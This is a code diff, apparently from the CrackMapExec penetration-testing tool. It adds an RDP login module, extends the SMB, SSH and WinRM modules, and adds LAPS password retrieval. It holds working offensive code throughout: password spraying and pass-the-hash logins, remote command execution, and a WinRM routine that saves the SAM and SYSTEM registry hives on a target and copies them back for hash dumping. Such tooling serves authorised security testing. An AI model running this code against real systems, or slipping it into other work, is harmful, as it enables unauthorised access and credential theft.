self.iosettings.video_height = height
|
||||
self.iosettings.video_bpp_min = 15 #servers dont support 8 any more :/
|
||||
self.iosettings.video_bpp_max = 32
|
||||
self.iosettings.video_out_format = VIDEO_FORMAT.PNG #PIL produces incorrect picture for some reason?! TODO: check bug
|
||||
self.iosettings.clipboard_use_pyperclip = False
|
||||
self.output_filename = None
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.url = None
|
||||
self.nla = True
|
||||
self.hybrid = False
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@staticmethod
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
rdp_parser = parser.add_parser('rdp', help="own stuff using RDP", parents=[std_parser, module_parser])
|
||||
rdp_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
|
||||
rdp_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
|
||||
rdp_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
|
||||
rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port")
|
||||
rdp_parser.add_argument("--rdp-timeout", type=int, default=1, help="RDP timeout on socket connection")
|
||||
dgroup = rdp_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
|
||||
|
||||
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
|
||||
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
|
||||
egroup.add_argument('--screentime', type=int, default=10, help='Time to wait for desktop image')
|
||||
egroup.add_argument('--res', default='1024x768', help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"')
|
||||
|
||||
return parser
|
||||
|
||||
def proto_flow(self):
|
||||
if self.create_conn_obj():
|
||||
self.proto_logger()
|
||||
self.print_host_info()
|
||||
if self.login():
|
||||
if hasattr(self.args, 'module') and self.args.module:
|
||||
self.call_modules()
|
||||
else:
|
||||
self.call_cmd_args()
|
||||
|
||||
def proto_logger(self):
|
||||
self.logger = CMEAdapter(extra={'protocol': 'RDP',
|
||||
'host': self.host,
|
||||
'port': '3389',
|
||||
'hostname': self.hostname})
|
||||
|
||||
def print_host_info(self):
|
||||
if self.domain == None:
|
||||
self.logger.info(u"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{})".format(self.nla))
|
||||
else:
|
||||
self.logger.info(u"{} (name:{}) (domain:{}) (nla:{})".format(self.server_os,
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.nla))
|
||||
|
||||
def create_conn_obj(self):
|
||||
|
||||
for proto in self.protoflags:
|
||||
try:
|
||||
self.iosettings.supported_protocols = proto
|
||||
self .url = 'rdp+ntlm-password://FAKE\\user:pass@' + self.host
|
||||
asyncio.run(self.connect_rdp(self.url))
|
||||
if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP":
|
||||
self.nla = False
|
||||
except OSError as e:
|
||||
if "Errno 104" not in str(e):
|
||||
return False
|
||||
except Exception as e:
|
||||
if "TCPSocket" in str(e):
|
||||
return False
|
||||
if "Reason:" not in str(e):
|
||||
info_domain = self.conn.get_extra_info()
|
||||
self.domain = info_domain['dnsdomainname']
|
||||
self.hostname = info_domain['computername']
|
||||
self.server_os = info_domain['os_guess'] + " Build " + str(info_domain['os_build'])
|
||||
|
||||
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
self.output_filename = self.output_filename.replace(":", "-")
|
||||
break
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.args.domain
|
||||
|
||||
return True
|
||||
|
||||
async def connect_rdp(self, url):
|
||||
rdpurl = RDPConnectionURL(url)
|
||||
self.conn = rdpurl.get_connection(self.iosettings)
|
||||
_, err = await self.conn.connect()
|
||||
if err is not None:
|
||||
raise err
|
||||
return True
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
try:
|
||||
self.url = 'rdp+ntlm-password://' + domain + '\\' + username + ':' + password + '@' + self.host
|
||||
asyncio.run(self.connect_rdp(self.url))
|
||||
self.admin_privs = True
|
||||
self.logger.success(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
password,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
reason = None
|
||||
for word in rdp_error_status.keys():
|
||||
if word in str(e):
|
||||
reason = rdp_error_status[word]
|
||||
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
password,
|
||||
'({})'.format(reason) if reason else ''),
|
||||
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red')
|
||||
return False
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
try:
|
||||
self.url = 'rdp+ntlm-nt://' + domain + '\\' + username + ':' + ntlm_hash + '@' + self.host
|
||||
asyncio.run(self.connect_rdp(self.url))
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
|
||||
username,
|
||||
ntlm_hash,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
reason = None
|
||||
for word in rdp_error_status.keys():
|
||||
if word in str(e):
|
||||
reason = rdp_error_status[word]
|
||||
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(domain,
|
||||
username,
|
||||
ntlm_hash,
|
||||
'({})'.format(reason) if reason else ''),
|
||||
color='magenta' if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else 'red')
|
||||
|
||||
return False
|
||||
|
||||
async def screen(self):
|
||||
await self.connect_rdp(self.url)
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = os.path.expanduser('~/.cme/screenshots/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
buffer.save(filename,'png')
|
||||
self.logger.highlight("Screenshot saved {}".format(filename + ".png"))
|
||||
|
||||
def screenshot(self):
|
||||
print("ddd", self.url)
|
||||
asyncio.run(self.screen())
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
class database:
|
||||
|
||||
def __init__(self, conn):
|
||||
self.conn = conn
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
db_conn.execute('''CREATE TABLE "credentials" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"username" text,
|
||||
"password" text,
|
||||
"pkey" text
|
||||
)''')
|
||||
|
||||
db_conn.execute('''CREATE TABLE "hosts" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"ip" text,
|
||||
"hostname" text,
|
||||
"port" integer,
|
||||
"server_banner" text
|
||||
)''')
|
|
@ -0,0 +1,5 @@
|
|||
from cme.cmedb import DatabaseNavigator
|
||||
|
||||
|
||||
class navigator(DatabaseNavigator):
|
||||
pass
|
|
@ -55,6 +55,17 @@ smb_error_status = [
|
|||
"STATUS_NO_SUCH_FILE"
|
||||
]
|
||||
|
||||
def get_error_string(exception):
|
||||
if hasattr(exception, 'getErrorString'):
|
||||
es = exception.getErrorString()
|
||||
if type(es) is tuple:
|
||||
return es[0]
|
||||
else:
|
||||
return es
|
||||
else:
|
||||
return str(exception)
|
||||
|
||||
|
||||
def requires_smb_server(func):
|
||||
def _decorator(self, *args, **kwargs):
|
||||
global smb_server
|
||||
|
@ -138,7 +149,7 @@ class smb(connection):
|
|||
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
|
||||
smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE', help="outputs all hosts that don't require SMB signing to the specified file")
|
||||
smb_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
|
||||
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 3 secondes", type=int, default=2)
|
||||
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
|
||||
smb_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification", nargs='?', const='administrator')
|
||||
|
||||
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||
|
@ -180,6 +191,11 @@ class smb(connection):
|
|||
|
||||
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
|
||||
cgroup.add_argument('--codec', default='utf-8', help='Set encoding used (codec) from the target\'s output (default '
|
||||
'"utf-8"). If errors are detected, run chcp.com at the target, '
|
||||
'map the result with '
|
||||
'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute '
|
||||
'again with --codec and the corresponding codec')
|
||||
cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
|
||||
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
|
||||
cegroup = cgroup.add_mutually_exclusive_group()
|
||||
|
@ -237,7 +253,11 @@ class smb(connection):
|
|||
self.domain = self.conn.getServerDNSDomainName()
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
|
||||
try:
|
||||
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
|
||||
except:
|
||||
pass
|
||||
|
||||
self.os_arch = self.get_os_arch()
|
||||
|
||||
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
|
@ -293,7 +313,7 @@ class smb(connection):
|
|||
return False
|
||||
if ntlm_hash:
|
||||
hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest()
|
||||
self.args.hash = [binascii.hexlify(hash_ntlm).decode()]
|
||||
self.hash = binascii.hexlify(hash_ntlm).decode()
|
||||
self.domain = self.hostname
|
||||
return True
|
||||
|
||||
|
@ -361,11 +381,12 @@ class smb(connection):
|
|||
|
||||
out = u'{}\\{}:{} {}'.format(domain,
|
||||
self.username,
|
||||
self.password,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||
|
||||
self.logger.success(out)
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
|
||||
|
@ -379,7 +400,7 @@ class smb(connection):
|
|||
error, desc = e.getErrorString()
|
||||
self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
|
||||
self.username,
|
||||
self.password,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
error,
|
||||
'({})'.format(desc) if self.args.verbose else ''),
|
||||
color='magenta' if error in smb_error_status else 'red')
|
||||
|
@ -397,35 +418,39 @@ class smb(connection):
|
|||
self.create_conn_obj()
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
#This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(':') != -1:
|
||||
lmhash, nthash = ntlm_hash.split(':')
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
|
||||
try:
|
||||
self.hash = ntlm_hash
|
||||
if lmhash: self.lmhash = lmhash
|
||||
if nthash: self.nthash = nthash
|
||||
|
||||
if not self.args.laps:
|
||||
self.username = username
|
||||
#This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(':') != -1:
|
||||
lmhash, nthash = ntlm_hash.split(':')
|
||||
self.hash = nthash
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
self.hash = ntlm_hash
|
||||
if lmhash: self.lmhash = lmhash
|
||||
if nthash: self.nthash = nthash
|
||||
else:
|
||||
nthash = self.hash
|
||||
|
||||
self.domain = domain
|
||||
self.conn.login(self.username, '', domain, lmhash, nthash)
|
||||
|
||||
self.check_if_admin()
|
||||
self.db.add_credential('hash', domain, self.username, ntlm_hash)
|
||||
self.db.add_credential('hash', domain, self.username, nthash)
|
||||
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user('hash', domain, self.username, ntlm_hash, self.host)
|
||||
self.db.add_admin_user('hash', domain, self.username, nthash, self.host)
|
||||
|
||||
out = u'{}\\{}:{} {}'.format(domain,
|
||||
self.username,
|
||||
ntlm_hash,
|
||||
self.hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
|
||||
|
||||
self.logger.success(out)
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
|
||||
|
@ -439,7 +464,7 @@ class smb(connection):
|
|||
error, desc = e.getErrorString()
|
||||
self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
|
||||
self.username,
|
||||
ntlm_hash,
|
||||
self.hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
error,
|
||||
'({})'.format(desc) if self.args.verbose else ''),
|
||||
color='magenta' if error in smb_error_status else 'red')
|
||||
|
@ -560,7 +585,16 @@ class smb(connection):
|
|||
|
||||
if hasattr(self, 'server'): self.server.track_host(self.host)
|
||||
|
||||
output = u'{}'.format(exec_method.execute(payload, get_output).strip())
|
||||
output = exec_method.execute(payload, get_output)
|
||||
|
||||
try:
|
||||
if not isinstance(output, str):
|
||||
output = output.decode(self.args.codec)
|
||||
except UnicodeDecodeError:
|
||||
logging.debug('Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings')
|
||||
output = output.decode('cp437')
|
||||
|
||||
output = u'{}'.format(output.strip())
|
||||
|
||||
if self.args.execute or self.args.ps_execute:
|
||||
self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
|
||||
|
@ -636,12 +670,10 @@ class smb(connection):
|
|||
perms = share['access']
|
||||
|
||||
self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark))
|
||||
except (SessionError, UnicodeEncodeError) as e:
|
||||
self.logger.error('Error enumerating shares: {}'.format(e))
|
||||
except Exception as e:
|
||||
error = e.getErrorString()
|
||||
error = get_error_string(e)
|
||||
self.logger.error('Error enumerating shares: {}'.format(error),
|
||||
color='magenta' if error in smb_error_status else 'red')
|
||||
color='magenta' if error in smb_error_status else 'red')
|
||||
|
||||
return permissions
|
||||
|
||||
|
|
|
@ -42,13 +42,7 @@ class TSCH_EXEC:
|
|||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
self.execute_handler(command)
|
||||
try:
|
||||
if isinstance(self.__outputBuffer, str):
|
||||
return self.__outputBuffer
|
||||
return self.__outputBuffer.decode()
|
||||
except UnicodeDecodeError:
|
||||
logging.debug('Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings')
|
||||
return self.__outputBuffer.decode('cp437')
|
||||
return self.__outputBuffer
|
||||
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer = data
|
||||
|
|
|
@ -52,7 +52,7 @@ class MMCEXEC:
|
|||
self.__nthash = ''
|
||||
self.__share_name = share_name
|
||||
self.__output = None
|
||||
self.__outputBuffer = ''
|
||||
self.__outputBuffer = b''
|
||||
self.__shell = 'c:\\windows\\system32\\cmd.exe'
|
||||
self.__pwd = 'C:\\'
|
||||
self.__quit = None
|
||||
|
@ -174,7 +174,7 @@ class MMCEXEC:
|
|||
self.get_output_fileless()
|
||||
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer += data.decode("utf-8")
|
||||
self.__outputBuffer += data
|
||||
|
||||
def get_output_fileless(self):
|
||||
if not self.__retOutput: return
|
||||
|
|
|
@ -76,13 +76,7 @@ class SMBEXEC:
|
|||
else:
|
||||
self.execute_remote(command)
|
||||
self.finish()
|
||||
try:
|
||||
if isinstance(self.__outputBuffer, str):
|
||||
return self.__outputBuffer
|
||||
return self.__outputBuffer.decode()
|
||||
except UnicodeDecodeError:
|
||||
logging.debug('Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings')
|
||||
return self.__outputBuffer.decode('cp437')
|
||||
return self.__outputBuffer
|
||||
|
||||
|
||||
def output_callback(self, data):
|
||||
|
|
|
@ -55,13 +55,7 @@ class WMIEXEC:
|
|||
else:
|
||||
self.execute_handler(command)
|
||||
self.__dcom.disconnect()
|
||||
try:
|
||||
if isinstance(self.__outputBuffer, str):
|
||||
return self.__outputBuffer
|
||||
return self.__outputBuffer.decode()
|
||||
except UnicodeDecodeError:
|
||||
logging.debug('Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings')
|
||||
return self.__outputBuffer.decode('cp437')
|
||||
return self.__outputBuffer
|
||||
|
||||
def cd(self, s):
|
||||
self.execute_remote('cd ' + s)
|
||||
|
|
|
@ -70,13 +70,13 @@ class ssh(connection):
|
|||
|
||||
self.check_if_admin()
|
||||
self.logger.success(u'{}:{} {}'.format(username,
|
||||
password,
|
||||
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.error(u'{}:{} {}'.format(username,
|
||||
password,
|
||||
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e))
|
||||
self.client_close()
|
||||
return False
|
||||
|
|
|
@ -6,9 +6,11 @@ from impacket.smbconnection import SMBConnection, SessionError
|
|||
from cme.connection import *
|
||||
from cme.helpers.logger import highlight
|
||||
from cme.helpers.bloodhound import add_user_bh
|
||||
from cme.protocols.ldap.smbldap import LDAPConnect
|
||||
from cme.logger import CMEAdapter
|
||||
from io import StringIO
|
||||
from pypsrp.client import Client
|
||||
from impacket.examples.secretsdump import LocalOperations, LSASecrets
|
||||
|
||||
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
@ -24,6 +26,7 @@ class winrm(connection):
|
|||
def __init__(self, args, db, host):
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.output_filename = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
|
@ -34,10 +37,16 @@ class winrm(connection):
|
|||
winrm_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
|
||||
winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
|
||||
winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port")
|
||||
winrm_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification", nargs='?', const='administrator')
|
||||
dgroup = winrm_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
|
||||
|
||||
cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||
cegroup = cgroup.add_mutually_exclusive_group()
|
||||
cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
|
||||
cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
|
||||
|
||||
cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
|
||||
|
@ -49,12 +58,12 @@ class winrm(connection):
|
|||
self.proto_logger()
|
||||
if self.create_conn_obj():
|
||||
self.enum_host_info()
|
||||
self.print_host_info()
|
||||
if self.login():
|
||||
if hasattr(self.args, 'module') and self.args.module:
|
||||
self.call_modules()
|
||||
else:
|
||||
self.call_cmd_args()
|
||||
if self.print_host_info():
|
||||
if self.login():
|
||||
if hasattr(self.args, 'module') and self.args.module:
|
||||
self.call_modules()
|
||||
else:
|
||||
self.call_cmd_args()
|
||||
|
||||
def proto_logger(self):
|
||||
self.logger = CMEAdapter(extra={'protocol': 'SMB',
|
||||
|
@ -73,14 +82,15 @@ class winrm(connection):
|
|||
try:
|
||||
smb_conn.login('', '')
|
||||
except SessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in e.message:
|
||||
pass
|
||||
pass
|
||||
|
||||
self.domain = smb_conn.getServerDNSDomainName()
|
||||
self.hostname = smb_conn.getServerName()
|
||||
self.server_os = smb_conn.getServerOS()
|
||||
self.logger.extra['hostname'] = self.hostname
|
||||
|
||||
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
|
||||
try:
|
||||
smb_conn.logoff()
|
||||
except:
|
||||
|
@ -95,6 +105,40 @@ class winrm(connection):
|
|||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
def laps_search(self, username, password, ntlm_hash, domain):
|
||||
ldapco = LDAPConnect(self.domain, "389", self.domain)
|
||||
connection = ldapco.plaintext_login(domain, username[0] if username else '', password[0] if password else '', ntlm_hash[0] if ntlm_hash else '' )
|
||||
if connection == False:
|
||||
logging.debug('LAPS connection failed with account {}'.format(username))
|
||||
return False
|
||||
searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name='+ self.hostname +'))'
|
||||
attributes = ['ms-MCS-AdmPwd','samAccountname']
|
||||
result = connection.search(searchFilter=searchFilter,
|
||||
attributes=attributes,
|
||||
sizeLimit=0)
|
||||
|
||||
msMCSAdmPwd = ''
|
||||
sAMAccountName = ''
|
||||
for item in result:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
for computer in item['attributes']:
|
||||
if str(computer['type']) == "sAMAccountName":
|
||||
sAMAccountName = str(computer['vals'][0])
|
||||
else:
|
||||
msMCSAdmPwd = str(computer['vals'][0])
|
||||
logging.debug("Computer: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname))
|
||||
self.username = self.args.laps
|
||||
self.password = msMCSAdmPwd
|
||||
if msMCSAdmPwd == '':
|
||||
logging.debug('msMCSAdmPwd is empty, account cannot read LAPS property for {}'.format(self.hostname))
|
||||
return False
|
||||
if ntlm_hash:
|
||||
hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest()
|
||||
self.hash = binascii.hexlify(hash_ntlm).decode()
|
||||
self.domain = self.hostname
|
||||
return True
|
||||
|
||||
def print_host_info(self):
|
||||
if self.args.domain:
|
||||
self.logger.extra['protocol'] = "HTTP"
|
||||
|
@ -107,6 +151,9 @@ class winrm(connection):
|
|||
self.logger.extra['protocol'] = "HTTP"
|
||||
self.logger.info(self.endpoint)
|
||||
self.logger.extra['protocol'] = "WINRM"
|
||||
if self.args.laps:
|
||||
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
|
||||
return True
|
||||
|
||||
|
||||
def create_conn_obj(self):
|
||||
|
@ -138,10 +185,14 @@ class winrm(connection):
|
|||
try:
|
||||
from urllib3.connectionpool import log
|
||||
log.addFilter(SuppressFilter())
|
||||
if not self.args.laps:
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.conn = Client(self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(domain, username),
|
||||
password=password,
|
||||
username=u'{}\\{}'.format(domain, self.username),
|
||||
password=self.password,
|
||||
ssl=False)
|
||||
|
||||
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
|
||||
|
@ -149,22 +200,23 @@ class winrm(connection):
|
|||
self.conn.execute_ps("hostname")
|
||||
self.admin_privs = True
|
||||
self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
|
||||
username,
|
||||
password,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
if "with ntlm" in str(e):
|
||||
self.logger.error(u'{}\\{}:{}'.format(self.domain,
|
||||
username,
|
||||
password))
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8))
|
||||
else:
|
||||
self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
|
||||
username,
|
||||
password,
|
||||
self.username,
|
||||
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e))
|
||||
|
||||
return False
|
||||
|
@ -176,20 +228,24 @@ class winrm(connection):
|
|||
lmhash = '00000000000000000000000000000000:'
|
||||
nthash = ''
|
||||
|
||||
#This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(':') != -1:
|
||||
lmhash, nthash = ntlm_hash.split(':')
|
||||
if not self.args.laps:
|
||||
self.username = username
|
||||
#This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(':') != -1:
|
||||
lmhash, nthash = ntlm_hash.split(':')
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
ntlm_hash = lmhash + nthash
|
||||
if lmhash: self.lmhash = lmhash
|
||||
if nthash: self.nthash = nthash
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
ntlm_hash = lmhash + nthash
|
||||
nthash = self.hash
|
||||
|
||||
self.hash = nthash
|
||||
if lmhash: self.lmhash = lmhash
|
||||
if nthash: self.nthash = nthash
|
||||
self.domain = domain
|
||||
self.conn = Client(self.host,
|
||||
auth='ntlm',
|
||||
username=u'{}\\{}'.format(domain, username),
|
||||
password=ntlm_hash,
|
||||
username=u'{}\\{}'.format(self.domain, self.username),
|
||||
password=lmhash + nthash,
|
||||
ssl=False)
|
||||
|
||||
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
|
||||
|
@ -197,22 +253,23 @@ class winrm(connection):
|
|||
self.conn.execute_ps("hostname")
|
||||
self.admin_privs = True
|
||||
self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
|
||||
username,
|
||||
self.hash,
|
||||
self.username,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if not self.args.continue_on_success:
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
if "with ntlm" in str(e):
|
||||
self.logger.error(u'{}\\{}:{}'.format(self.domain,
|
||||
username,
|
||||
self.hash))
|
||||
self.username,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8))
|
||||
else:
|
||||
self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
|
||||
username,
|
||||
self.hash,
|
||||
self.username,
|
||||
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
||||
e))
|
||||
|
||||
return False
|
||||
|
@ -229,4 +286,30 @@ class winrm(connection):
|
|||
def ps_execute(self, payload=None, get_output=False):
|
||||
r = self.conn.execute_ps(self.args.ps_execute)
|
||||
self.logger.success('Executed command')
|
||||
self.logger.highlight(r[0])
|
||||
self.logger.highlight(r[0])
|
||||
|
||||
def sam(self):
|
||||
self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
|
||||
|
||||
self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam")
|
||||
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
|
||||
|
||||
